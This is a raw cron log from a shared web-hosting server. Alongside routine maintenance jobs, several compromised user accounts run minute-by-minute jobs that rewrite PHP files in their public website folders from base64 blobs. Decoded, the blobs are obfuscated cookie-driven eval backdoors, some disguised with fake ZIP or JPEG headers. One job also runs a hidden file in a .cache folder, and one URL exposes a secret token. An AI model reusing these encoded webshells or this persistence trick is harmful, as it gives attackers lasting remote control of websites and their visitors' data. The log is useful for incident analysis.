Mar  1 11:08:01 medusa CROND[7326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:08:01 medusa CROND[7416]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:08:01 medusa CROND[7418]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:08:01 medusa CROND[7419]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:08:01 medusa CROND[7422]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:08:01 medusa CROND[7426]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:08:01 medusa CROND[7431]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:08:01 medusa CROND[7433]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 11:08:01 medusa CROND[7436]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:08:01 medusa CROND[7435]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:08:01 medusa CROND[7434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:08:01 medusa CROND[7438]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:08:01 medusa CROND[7439]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:08:01 medusa CROND[7444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:09:01 medusa CROND[29108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:09:01 medusa CROND[29117]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 11:09:01 medusa CROND[29119]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:09:01 medusa CROND[29190]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:09:01 medusa CROND[29191]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:09:01 medusa CROND[29192]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:09:01 medusa CROND[29197]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:09:01 medusa CROND[29195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:09:01 medusa CROND[29199]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:09:01 medusa CROND[29200]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:09:01 medusa CROND[29209]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:09:01 medusa CROND[29210]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:09:01 medusa CROND[29215]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:10:01 medusa CROND[18784]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:10:01 medusa CROND[18836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:10:01 medusa CROND[18950]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:10:01 medusa CROND[18952]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 11:10:01 medusa CROND[18953]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:10:01 medusa CROND[18955]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:10:01 medusa CROND[18956]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:10:01 medusa CROND[18961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:10:01 medusa CROND[18962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
